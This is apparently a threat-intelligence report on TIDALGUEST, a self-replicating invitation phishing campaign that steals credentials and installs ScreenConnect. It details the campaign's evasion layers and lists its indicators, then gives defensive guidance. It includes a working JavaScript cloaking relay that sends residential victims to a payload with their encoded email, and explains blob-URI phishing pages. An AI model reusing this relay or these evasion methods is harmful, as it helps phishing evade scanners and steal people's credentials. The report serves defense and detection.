

.png)
Campaign Cluster: TIDALGUEST | Credential Theft & Remote Access | June 2026
TIDALGUEST is a self-replicating invitation phishing cluster with a propagation mechanism that mirrors how early internet worms spread: each successful credential theft turns a compromised personal email inbox into a new distribution node, blasting the same lure to an entirely new contact list. A separate sending track using dedicated infrastructure runs in parallel, targeting fresh victims while the account-compromise wave handles high-trust propagation. Together, they deploy five layers of evasion defeating enterprise URL inspection at every stage of the kill chain and deliver both credential theft and remote access malware from the same rotating infrastructure.

The majority of observed campaign emails in the account-compromise track originate from compromised personal email accounts, not attacker-registered domains. When a victim submits credentials to the phishing page, the operator gains access to a working inbox. Within hours, invitation lures go out to the full contact list from a known, trusted address. The seed vector (how the initial accounts in each wave are first compromised) is not directly observable from this cluster. The most likely explanation is earlier campaign waves targeting those accounts, with the invitation lure format itself as the initial attack surface.
A parallel sending track uses dedicated infrastructure at tabed[.]ba. These emails follow a stripped format with vague subjects (“Accept”) rather than polished invitation templates, suggesting this track probes new targets while the account-compromise wave handles high-trust propagation.
The replication cycle:
Defeating all five layers simultaneously requires a real victim session, in the right country, on a residential IP, with a human interaction capability.
Email Security solutions, including Checkpoint Harmony Email, Microsoft Defender SafeLinks, Gmail Safe Browsing, and Mimecast URL Protection each processed and delivered observed campaign emails without raising an alert. These products rewrite outbound links as a standard security control; when a message arrives in the recipient’s inbox with a rewritten link, that prefix implies the message has already been inspected and cleared. At scan time, the target URLs serve a CAPTCHA challenge or redirect to an innocuous destination, so the gateway sees no malicious content.
Gmail’s spam filter is separately worth noting: in our dataset, it routes more than 90% of campaign emails from both the gmail.com and tabed[.]ba sending tracks directly to spam before the inbox. The propagation mechanism exploits the remaining fraction and relies on recipients whose gateways trust gmail.com sender reputation at the domain level rather than evaluating each message.
At least one observed campaign path routes through a traffic distribution system with path structure and conversion-tracking parameters that follow ad-fraud industry conventions. Automated visitors receive a redirect to google.com or a 204 empty response, returning no payload for analysis. The TDS layer provides a first filter before any attacker-controlled infrastructure is exposed.
Real visitor sessions land on one of a rotating cluster of Vanuatu-TLD (.vu) payload domains, all fronted by Cloudflare Turnstile. Sandboxes and automated headless browsers see only the “Press & hold to verify” challenge screen. Victims who solve the CAPTCHA reach the credential-harvest page or download trigger. As individual .vu domains accumulate detections, they are replaced by fresh registrations on the same pattern.
![Figure 1. Cloudflare Turnstile gate on blmountainiv[.]one. Headless browsers and automated crawlers see only this verification screen; the payload is never served.](https://cdn.prod.website-files.com/68b83494abdfe82bb465a131/6a490e444272910c41faa908_6a490c70ace314727ebdb1c2_tidalguest-fig3.png)
Some redirect chains route through JavaScript hosted on compromised organizational websites. The relay silently queries an IP reputation API to classify the visitor’s connection as VPN, proxy, datacenter, or residential. Visitors on corporate proxy networks, VPN connections, or datacenter IP ranges receive a blank page with the browser back button trapped. Only residential human visitors are forwarded to the payload, via a Cloudflare Workers endpoint with the victim’s email address encoded in the URL fragment so it does not appear in server logs. The relay runs on a legitimate third-party domain, causing it to appear benign in any scan report that examines only the first hop.
The core relay logic follows a pattern consistent across observed instances:
fetch("https://api.ipapi.is/?q=" + visitorIP)
.then(r => r.json())
.then(({ is_vpn, is_proxy, is_datacenter }) => {
if (is_vpn || is_proxy || is_datacenter) {
document.body.innerHTML = "";
history.replaceState(null, "", window.location.href);
} else {
window.location.href = payloadEndpoint + "#" + btoa(recipientEmail);
}
});The victim’s email address, encoded in the URL fragment, is passed to the payload endpoint without appearing in server-side logs.
![Figure 2. Cloudflare block page served to the Aegis AI crawler by free-invites[.]click. Campaign payload domains filter non-residential traffic before any content is reached. (Aegis AI crawl)](https://cdn.prod.website-files.com/68b83494abdfe82bb465a131/6a490e444272910c41faa90b_6a490c70459596f88d6ea7f7_tidalguest-fig5.png)
A second in-browser evasion technique uses compromised business websites hosting a “Press & Hold” button styled to resemble a CAPTCHA challenge. Completing the hold triggers a JavaScript routine that constructs a full HTML document in browser memory and navigates to it via a blob URI. This phishing page is never transmitted over the network; it exists only in the victim’s browser session. URL-reputation feeds, post-delivery URL scanners, and network-based detection have nothing to analyze. The credential-harvesting kit configuration and decoy redirect are both base64-encoded directly in the blob body.

The same lure template and sending infrastructure are used to deliver fundamentally different payloads depending on the victim path.
Victims reaching the credential-harvest endpoint enter credentials into a page impersonating Google, Microsoft, or a multi-provider login panel. The page accepts any credentials, returns a false “incorrect password” error to prompt re-entry, then presents a fake MFA verification step. Neither the password nor the one-time code is validated locally. Both are silently exfiltrated. Post-submission, the victim is shown a legitimate event page matching the original invitation theme.
In the malware-delivery variant, clicking the invitation link lands the victim on a BlueMountain-branded page with a countdown timer before an automatic download triggers. Pages are OS-aware: Windows victims receive a ScreenConnect installer, macOS victims receive an installer package and configuration file. Mobile devices are blocked entirely. Each page reports visit and download events to the operator, giving per-victim execution telemetry.
Confirmed malware filenames: ScreenConnect.ClientSetup.exe (Windows), invite.pkg + config.data (macOS), SPRINGTIME_INVITATION+AND+PARTY-ACCESS.zip

The invitation format carries social expectations that neutralize standard phishing awareness training. A party invitation addresses the recipient personally, plausibly comes from someone they know, creates a low-stakes reason to click, and naturally directs to an external link without requiring credential entry anywhere that feels sensitive.
The most frequently impersonated brands are Evite and Punchbowl, with a smaller volume impersonating BlueMountain via the lookalike domain blmountainiv[.]one. Some variants add personalization via URL parameters encoding the recipient’s name (pattern: kelario[.]vu/?name=), consistent with per-victim link generation to further suppress generic-URL heuristics.
Consistent structural signals across all observed variants:
| Control | Assessment | Result |
|---|---|---|
| Sender reputation | Primary track originates from legitimate Gmail accounts. Blocklisting not applicable. | Bypassed |
| URL inspection at delivery (Checkpoint, SafeLinks, Mimecast) | All three products observed to wrap and deliver campaign emails. | Bypassed |
| Domain reputation / blocklist | .vu domains rotate before accumulating detection history. | Bypassed |
| VPN-based post-delivery analysis | IP fingerprinting relay detects datacenter and VPN, returns blank page. | Bypassed |
| Post-delivery URL scanning | Blob URL injection leaves no network artifact to scan. | Bypassed |
| Subject-line keyword filtering | Most variants contain invitation language; tabed[.]ba track does not. | Partial |
| Native spam filtering (Gmail, IronScales) | Gmail routes more than 90% of observed campaign emails to spam regardless of sending track. Propagation depends on the fraction that bypasses the filter. | Partial |
| Sender / brand domain mismatch | Evite/Punchbowl from gmail.com. Detectable without URL resolution. | Effective |
| BCC / undisclosed recipients | Present in every observed case. Reliable structural anomaly. | Effective |
| Link target vs. display text | RSVP pointing to .vu or short URL. Detectable statically. | Effective |
The effective signals all operate at the email layer, on structural properties set before any URL is resolved. The campaign’s evasion stack is designed specifically to defeat URL-based controls. Defenses that anchor on sender mismatch, structural anomalies, and link-display incongruence are not affected by rotating backends, IP-filtering relays, or blob URL generation.
We cluster the activity described in this report under the designation TIDALGUEST based on consistent infrastructure patterns: shared use of Vanuatu-TLD payload domains fronted by Cloudflare Turnstile, consistent invitation-brand impersonation, overlapping phishing kit behavior across credential-harvest endpoints, and a self-replication mechanism tied to compromised personal email accounts.
Within this cluster, the use of ScreenConnect as a remote access payload alongside two distinct sending tracks suggest either shared infrastructure across multiple operators or a single group managing parallel campaigns with different tooling. Staging infrastructure for the ScreenConnect installer follows a consistent directory path pattern across observed domains, suggesting a shared deployment template. The ScreenConnect relay tenant identifier, which would confirm whether victims connect back to the same operator-controlled instance, is embedded in the installer binary and not directly observable from the download URL alone. We do not attribute TIDALGUEST to a specific threat actor, criminal group, or nation-state nexus.

The operator profile reflects capability indicators above typical commodity phishing. Use of ad-fraud traffic distribution infrastructure and Cloudflare Workers as payload hosting suggests familiarity with commercial performance-marketing tooling. The IP fingerprinting relay demonstrates awareness of the specific detection mechanisms used by enterprise security teams. The blob URL technique, which requires understanding the browser’s content security model at a level most phishing kits do not reach, represents an investment in analyst evasion beyond what commodity operations typically deploy.
TIDALGUEST was built to defeat the controls most organizations rely on: gateway URL scanning, domain blocklists, VPN-based sandbox analysis, post-delivery URL retrieval. The signals that actually work operate at the email layer before any URL is resolved, describing what the email structurally is rather than where its links point. That is the detection surface AI-native email security is designed for.
Switch from URL-centric to structural analysis. Every URL-scanning gateway tested delivered the campaign without an alert. These products are not misconfigured; they are operating as designed against a campaign built to serve benign content to automated scanners. AI-native detection analyzes sender relationship history, structural anomalies, lure template patterns, and behavioral deviation from established baselines. None of that analysis requires fetching a URL, so none of it is defeated by CAPTCHA gates, IP-filtering relays, or rotating payload domains.
Correlate across messages, not per message. The account-compromise track sends lures from real, trusted senders with no detectable IOC in any individual email. The signal is the pattern: invitation-themed lures from a new sender reaching multiple recipients simultaneously, or a known contact sending to an undisclosed recipient list. AI-native systems that operate across the full mail corpus surface this behavior where per-message rules see nothing.
For traditional gateway environments: block on patterns. The most durable option is pattern-based blocking at the gateway and proxy: *.vu domains via Cloudflare Workers, *.w-fetou0.workers.dev, and tabed.ba. These measures reduce exposure at the margins but do not address the account-compromise track or the evasion layers designed to defeat automated scanning.
| Technique ID | Name | Campaign Usage |
|---|---|---|
| T1566.001 | Phishing: Spearphishing Link | Invitation-themed email lures with malicious outlinks |
| T1078.004 | Valid Accounts: Cloud Accounts | Harvested Gmail credentials repurposed for campaign propagation |
| T1534 | Internal Spearphishing | Compromised Gmail accounts blast contact lists with new lures |
| T1539 | Steal Web Session Cookie | Multi-step harvest captures password and MFA tokens |
| T1189 | Drive-by Compromise | Countdown page triggers RMM installer download |
| T1204.002 | User Execution: Malicious File | MSI/EXE payloads disguised as invitation eCards |
| T1219 | Remote Access Software | ScreenConnect (ConnectWise) confirmed deployed as malware payload for persistent remote access |
| T1583.008 | Acquire Infrastructure: Serverless | Cloudflare Workers subdomains host credential harvest endpoints |
| T1027 | Obfuscated Files or Information | Base64-encoded config in blob HTML; relay JavaScript obfuscated |
| T1036 | Masquerading | Evite, Punchbowl, BlueMountain brand impersonation |
| T1090 | Proxy | Multi-hop redirect chains through compromised government infrastructure |
The following is a representative sample of known attacker-controlled infrastructure from this cluster. The campaign rotates domains actively; the full set extends beyond what is listed here. Blocking on patterns (all *.vu domains via Cloudflare Workers, *.w-fetou0.workers.dev, tabed.ba) is more durable than per-indicator blocklisting.
| Indicator | Type | Notes |
|---|---|---|
| farnico[.]vu | .vu Payload | Primary observed payload domain; Cloudflare CAPTCHA gate |
| ipsys[.]vu | .vu Payload | Reachable via Checkpoint redirect; Replit staging |
| repok[.]vu / jscan[.]vu / cylog[.]vu | .vu Payload | Rotating cluster; same CAPTCHA pattern |
| kelario[.]vu / gdata[.]vu / morvixa[.]vu | .vu Payload | Rotating cluster; kelario[.]vu with per-victim name param |
| check.cdops[.]vu / check.uvuwv[.]vu | .vu Payload | Rotating cluster subdomain pattern |
| smca.org.lb | Relay | Compromised site; IP-fingerprinting relay; calls api.ipapi.is |
| pinheiral.rj.gov.br | Open Redirect | Compromised Brazilian municipal government; ?url= open redirect |
| api.ipapi.is | Fingerprinting | IP reputation service used for cloaking |
| [name].w-fetou0.workers.dev | Payload Hosting | Cloudflare Workers endpoint; victim email in URL fragment; observed subdomains include reflesseccessions-aacb and g-meetrequest-for-executivesrelationsdmt-lzv6 |
| custommasonrycnc.com | OAuth + Blob | Azure AD OAuth redirect URI for app e25ec8d9-c850-409c-ad86-09e501e60023; blob injection on arrival |
| e25ec8d9-c850-409c-ad86-09e501e60023 | Azure AD App | Attacker-registered app; redirect URI custommasonrycnc.com; silent OAuth victim email harvesting |
| invites.beroyale.today | Phishing Kit | Multi-provider credential kit (“Royale Occasion”); HS256 JWT on first load encodes visitor IP + user-agent; 10-min expiry prevents replay |
| pulamasts.co.za | Malware Staging | OS-aware drive-by; ScreenConnect.ClientSetup.exe (Win), invite.pkg + config.data (macOS); mobile blocked; per-victim telemetry |
| scorpionmedia.us | Malware Staging | Drive-by download page with countdown; SPRINGTIME_INVITATION+AND+PARTY-ACCESS.zip |
| ushouse.club | Associated Infra | CSS/resource endpoint linked by scorpionmedia.us page (/ab/ path; consistent with co-loaded ad-tracking infrastructure) |
| blmountainiv[.]one | Lookalike | BlueMountain brand lookalike |
| tabed[.]ba | Sending Infra | Dedicated sending domain; “Accept” subject lures |
| tuzere[.]com | TDS (limited) | Traffic distribution system; limited observation |
| ScreenConnect.ClientSetup.exe | File | Windows ScreenConnect installer from pulamasts.co.za; macOS: invite.pkg + config.data; archive: SPRINGTIME_INVITATION+AND+PARTY-ACCESS.zip |
Aegis AI Threat Intelligence – June 2026